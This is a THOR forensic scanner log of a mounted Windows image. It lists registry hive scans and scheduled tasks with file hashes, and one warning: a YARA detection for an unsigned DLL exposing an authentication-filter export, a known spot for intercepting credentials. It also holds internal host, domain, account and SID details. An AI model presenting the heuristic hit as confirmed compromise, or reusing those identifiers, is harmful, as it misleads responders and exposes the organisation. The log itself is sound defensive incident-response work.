Sep 10 12:39:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 60 FILE: E:\Windows\System32\SenseSubAuth.dll EXT: .dll TYPE: EXE SIZE: 135168 MD5: 9202b1d6f55a418fd7c2698c9f1ec652 SHA1: e952e68d25ae6f6249768738c95601a38362d712 SHA256: 3850acee60bd12138dfb5a82222f2f6b3f8fb16a86cb666e89225d92c5cc40e8 FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED: Mon Jun  3 20:29:49.654 2024 MODIFIED: Mon Jun  3 20:29:49.654 2024 ACCESSED: Mon Jul 22 12:26:34.592 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:R / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:R / NT SERVICE\TrustedInstaller:F OWNER: NT SERVICE\TrustedInstaller COMPANY: Microsoft Corporation DESC: Sense Sub-Authentication Package DLL. LEGAL_COPYRIGHT: © Microsoft Corporation. All rights reserved. PRODUCT: Microsoft® Windows® Operating System ORIGINAL_NAME: SenseSubAuth.dll INTERNAL_NAME: SenseSubAuth.dll IMPHASH: c53844792b0055bcd17ec940196a203b REASON_1: YARA rule SUSP_Msv1_0SubAuthenticationFilter_Export / Detects suspicious unsigned file with Msv1_0SubAuthenticationFilter export SUBSCORE_1: 60 REF_1: Internal Research SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: (none) RULEDATE_1: 2020-02-28 TAGS_1: EXE, FILE, SUSP RULENAME_1: SUSP_Msv1_0SubAuthenticationFilter_Export AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 12:41:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\settings.dat
Sep 10 12:42:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\AppLocker\AppCache.dat
Sep 10 12:42:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\AppLocker\AppCache.dat.LOG1
Sep 10 12:43:27 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\Microsoft-Edge-WebView\Edge.dat
Sep 10 12:43:27 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\Microsoft-Edge-WebView\EdgeWebView.dat
Sep 10 12:43:36 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\SMI\Store\Machine\SCHEMA.DAT
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\MicrosoftEdgeUpdateTaskMachineCore COMMAND: C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe START: 2024-07-29T09:22:15 USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 206408 MD5_1: e3f7c1c2e2013558284331586ba2bbb2 SHA1_1: 6ebf0601e1c667f8d0b681b0321a73e8f4e91fa3 SHA256_1: d19616ac12d3d536c8fbf034513a4977c88ef2d1676d358a2358fa051c8a42ba FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Thu Jun 27 15:38:15.797 2024 OWNER_1: BUILTIN\Administrators COMPANY_1: Microsoft Corporation DESC_1: Microsoft Edge Update LEGAL_COPYRIGHT_1: Copyright Microsoft Corporation PRODUCT_1: Microsoft Edge Update ORIGINAL_NAME_1: msedgeupdate.dll INTERNAL_NAME_1: Microsoft Edge Update IMPHASH_1: cd3b2d99c6655a5d4a14e30e380f5bf9
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\MicrosoftEdgeUpdateTaskMachineUA COMMAND: C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe START: 2024-07-29T08:52:15 USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 206408 MD5_1: e3f7c1c2e2013558284331586ba2bbb2 SHA1_1: 6ebf0601e1c667f8d0b681b0321a73e8f4e91fa3 SHA256_1: d19616ac12d3d536c8fbf034513a4977c88ef2d1676d358a2358fa051c8a42ba FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Thu Jun 27 15:38:15.797 2024 OWNER_1: BUILTIN\Administrators COMPANY_1: Microsoft Corporation DESC_1: Microsoft Edge Update LEGAL_COPYRIGHT_1: Copyright Microsoft Corporation PRODUCT_1: Microsoft Edge Update ORIGINAL_NAME_1: msedgeupdate.dll INTERNAL_NAME_1: Microsoft Edge Update IMPHASH_1: cd3b2d99c6655a5d4a14e30e380f5bf9
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\OneDrive Reporting Task-S-1-5-21-2213792943-3978625667-3641601853-1118 COMMAND: %localappdata%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe START: 2024-08-28T16:17:29 USER: S-1-5-21-2213792943-3978625667-3641601853-1118 RUNLEVEL: LeastPrivilege LOGONTYPE: InteractiveToken FILE_1: C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe EXISTS_1: no
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\OneDrive Reporting Task-S-1-5-21-2213792943-3978625667-3641601853-1124 COMMAND: %localappdata%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe START: 2024-08-26T15:44:13 USER: S-1-5-21-2213792943-3978625667-3641601853-1124 RUNLEVEL: LeastPrivilege LOGONTYPE: InteractiveToken FILE_1: C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe EXISTS_1: no
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\OneDrive Reporting Task-S-1-5-21-3395086171-2644194095-115591394-1001 COMMAND: %localappdata%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe START: 2024-06-02T13:37:20 USER: S-1-5-21-3395086171-2644194095-115591394-1001 RUNLEVEL: LeastPrivilege LOGONTYPE: InteractiveToken FILE_1: C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe EXISTS_1: no
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\OneDrive Reporting Task-S-1-5-21-395486425-972718290-1458454356-1001 COMMAND: %localappdata%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe START: 2024-08-12T18:11:52 USER: S-1-5-21-395486425-972718290-1458454356-1001 RUNLEVEL: LeastPrivilege LOGONTYPE: InteractiveToken FILE_1: C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe EXISTS_1: no
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-2213792943-3978625667-3641601853-1118 COMMAND: %localappdata%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe START: 1992-05-01T15:00:00 USER: MERCURYLARK\ws-adm-davis RUNLEVEL: LeastPrivilege LOGONTYPE: InteractiveToken FILE_1: C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe EXISTS_1: no
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-2213792943-3978625667-3641601853-1124 COMMAND: %localappdata%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe START: 1992-05-01T14:00:00 USER: MERCURYLARK\j-taylor RUNLEVEL: LeastPrivilege LOGONTYPE: InteractiveToken FILE_1: C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe EXISTS_1: no
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-3395086171-2644194095-115591394-1001 COMMAND: %localappdata%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe START: 1992-05-01T12:00:00 USER: DESKTOP-MPRTBTU\Admin RUNLEVEL: LeastPrivilege LOGONTYPE: InteractiveToken FILE_1: C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe EXISTS_1: no
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-395486425-972718290-1458454356-1001 COMMAND: %localappdata%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe START: 1992-05-01T17:00:00 USER: PC01243\Admin RUNLEVEL: LeastPrivilege LOGONTYPE: InteractiveToken FILE_1: C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe EXISTS_1: no
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\GoogleSystem\GoogleUpdater\GoogleUpdaterTaskSystem130.0.6679.0{A6D13657-E13D-4326-A3BC-FF41716EE02B} COMMAND: "\"C:\\Program Files (x86)\\Google\\GoogleUpdater\\130.0.6679.0\\updater.exe\"" START: 2024-08-28T07:25:01Z USER: NT AUTHORITY\SYSTEM RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: E:\Windows\System32\Tasks\GoogleSystem\GoogleUpdater\GoogleUpdaterTaskSystem130.0.6679.0 EXISTS_1: no FILE_2: C:\Program Files (x86)\Google\GoogleUpdater\130.0.6679.0\updater.exe EXISTS_2: yes TYPE_2: EXE SIZE_2: 4884584 MD5_2: c583e91ddee7c0e8ac2a3d3aacad2f4c SHA1_2: 3d824f6aa75611478e56f4f56d0a6f6db8cb1c9b SHA256_2: 7f67129760223e5ddf31219f0b2e247555fbac85f4b6f933212ac091a21debf9 FIRSTBYTES_2: 4d5a780001000000040000000000000000000000 / MZx CREATED_2: Fri Aug 30 01:07:09.558 2024 OWNER_2: BUILTIN\Administrators COMPANY_2: Google LLC DESC_2: Google Updater LEGAL_COPYRIGHT_2: Copyright 2024 Google LLC. All rights reserved. PRODUCT_2: Google Updater ORIGINAL_NAME_2: updater.exe INTERNAL_NAME_2: Google Updater (x86) IMPHASH_2: 20ab254b36a04ea3556f60145d061fed
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 COMMAND:  START:  USER: SYSTEM RUNLEVEL: LeastPrivilege LOGONTYPE: 
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 64 COMMAND:  START:  USER: SYSTEM RUNLEVEL: LeastPrivilege LOGONTYPE: 
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 64 Critical COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 Critical COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Automated) COMMAND:  START: 2006-11-09T03:00:00 USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Manual) COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\AppID\EDP Policy Manager COMMAND:  START:  USER: S-1-5-19 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\AppID\PolicyConverter COMMAND: %windir%\system32\appidpolicyconverter.exe START:  USER: S-1-5-18 RUNLEVEL: LeastPrivilege LOGONTYPE: InteractiveToken FILE_1: C:\Windows\system32\appidpolicyconverter.exe EXISTS_1: no
Sep 10 12:43:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\AppID\VerifiedPublisherCertStoreCheck COMMAND: %windir%\system32\appidcertstorecheck.exe START:  USER: S-1-5-19 RUNLEVEL: LeastPrivilege LOGONTYPE: InteractiveToken FILE_1: C:\Windows\system32\appidcertstorecheck.exe EXISTS_1: no
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\AppListBackup\Backup COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\AppListBackup\BackupNonMaintenance COMMAND:  START: 2022-01-01T00:00:00 USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\MareBackup COMMAND: %windir%\system32\compattelrunner.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\compattelrunner.exe EXISTS_1: no
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser COMMAND: %windir%\system32\sc.exe START: 2008-09-01T03:00:00 USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\sc.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 60928 MD5_1: 293a38365bee67829ae093d10bf4bc85 SHA1_1: afcceb4db08190d15739d0d369abe0f66b99557c SHA256_1: 604492b8398751f0798079cec26d674c125885f55b2beab1bc484ebdb723bb63 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Sep 15 07:11:59.118 2018 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Service Control Manager Configuration Tool LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: sc.exe.mui INTERNAL_NAME_1: sc.exe IMPHASH_1: b037d0adb81bf9cfc651de01742089f1
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\PcaPatchDbTask COMMAND: %windir%\system32\rundll32.exe START: 2008-09-01T03:00:00 USER: S-1-5-18 RUNLEVEL: LeastPrivilege LOGONTYPE: InteractiveToken FILE_1: C:\Windows\system32\rundll32.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 61952 MD5_1: 8459d693c951248a5e8e128f299e9618 SHA1_1: 55ac33d1ebfa28296c5128617d29ccbfed11157e SHA256_1: 82611e60a2c5de23a1b976bb3b9a32c4427cb60a002e4c27cadfa84031d87999 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Jan 21 10:00:18.597 2023 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows host process (Rundll32) LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: RUNDLL32.EXE.MUI INTERNAL_NAME_1: rundll IMPHASH_1: bb17b2fbbff4bbf5ebdca7d0bb9e4a5b
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\PcaWallpaperAppDetect COMMAND: %windir%\system32\rundll32.exe START: 2024-03-01T12:00:00 USER:  RUNLEVEL: LeastPrivilege LOGONTYPE:  FILE_1: C:\Windows\system32\rundll32.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 61952 MD5_1: 8459d693c951248a5e8e128f299e9618 SHA1_1: 55ac33d1ebfa28296c5128617d29ccbfed11157e SHA256_1: 82611e60a2c5de23a1b976bb3b9a32c4427cb60a002e4c27cadfa84031d87999 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Jan 21 10:00:18.597 2023 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows host process (Rundll32) LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: RUNDLL32.EXE.MUI INTERNAL_NAME_1: rundll IMPHASH_1: bb17b2fbbff4bbf5ebdca7d0bb9e4a5b
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\SdbinstMergeDbTask COMMAND: %windir%\system32\sdbinst.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\sdbinst.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 20992 MD5_1: 9a081e86e9ff0aa957eda8e8d0624bac SHA1_1: 326c4c3e1c05d66f1e646af7cb2e4a5fedb026f7 SHA256_1: 837c16c1ca64e6db32421fc56efbd80bfca8e9c8888e9240ab859c43adac1442 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Sep 15 07:11:59.009 2018 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Application Compatibility Database Installer LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: sdbinst.exe.mui INTERNAL_NAME_1: sdbinst.exe IMPHASH_1: dc04dac563e65a0d0dae0accc2ac61e2
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\StartupAppTask COMMAND: %windir%\system32\rundll32.exe START:  USER:  RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\rundll32.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 61952 MD5_1: 8459d693c951248a5e8e128f299e9618 SHA1_1: 55ac33d1ebfa28296c5128617d29ccbfed11157e SHA256_1: 82611e60a2c5de23a1b976bb3b9a32c4427cb60a002e4c27cadfa84031d87999 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Jan 21 10:00:18.597 2023 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows host process (Rundll32) LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: RUNDLL32.EXE.MUI INTERNAL_NAME_1: rundll IMPHASH_1: bb17b2fbbff4bbf5ebdca7d0bb9e4a5b
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\ApplicationData\CleanupTemporaryState COMMAND: %windir%\system32\rundll32.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\rundll32.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 61952 MD5_1: 8459d693c951248a5e8e128f299e9618 SHA1_1: 55ac33d1ebfa28296c5128617d29ccbfed11157e SHA256_1: 82611e60a2c5de23a1b976bb3b9a32c4427cb60a002e4c27cadfa84031d87999 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Jan 21 10:00:18.597 2023 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows host process (Rundll32) LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: RUNDLL32.EXE.MUI INTERNAL_NAME_1: rundll IMPHASH_1: bb17b2fbbff4bbf5ebdca7d0bb9e4a5b
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\ApplicationData\DsSvcCleanup COMMAND: %windir%\system32\dstokenclean.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\dstokenclean.exe EXISTS_1: no
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\ApplicationData\appuriverifierdaily COMMAND: %windir%\system32\AppHostRegistrationVerifier.exe START:  USER:  RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\AppHostRegistrationVerifier.exe EXISTS_1: no
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\ApplicationData\appuriverifierinstall COMMAND: %windir%\system32\AppHostRegistrationVerifier.exe START:  USER:  RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\AppHostRegistrationVerifier.exe EXISTS_1: no
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\AppxDeploymentClient\Pre-staged app cleanup COMMAND: %windir%\system32\rundll32.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\rundll32.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 61952 MD5_1: 8459d693c951248a5e8e128f299e9618 SHA1_1: 55ac33d1ebfa28296c5128617d29ccbfed11157e SHA256_1: 82611e60a2c5de23a1b976bb3b9a32c4427cb60a002e4c27cadfa84031d87999 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Jan 21 10:00:18.597 2023 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows host process (Rundll32) LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: RUNDLL32.EXE.MUI INTERNAL_NAME_1: rundll IMPHASH_1: bb17b2fbbff4bbf5ebdca7d0bb9e4a5b
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\AppxDeploymentClient\UCPD velocity COMMAND: %windir%\system32\UCPDMgr.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\UCPDMgr.exe EXISTS_1: no
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Autochk\Proxy COMMAND: %windir%\system32\rundll32.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\rundll32.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 61952 MD5_1: 8459d693c951248a5e8e128f299e9618 SHA1_1: 55ac33d1ebfa28296c5128617d29ccbfed11157e SHA256_1: 82611e60a2c5de23a1b976bb3b9a32c4427cb60a002e4c27cadfa84031d87999 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Jan 21 10:00:18.597 2023 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows host process (Rundll32) LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: RUNDLL32.EXE.MUI INTERNAL_NAME_1: rundll IMPHASH_1: bb17b2fbbff4bbf5ebdca7d0bb9e4a5b
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\BitLocker\BitLocker Encrypt All Drives COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\BitLocker\BitLocker MDM policy Refresh COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Bluetooth\UninstallDeviceTask COMMAND: BthUdTask.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
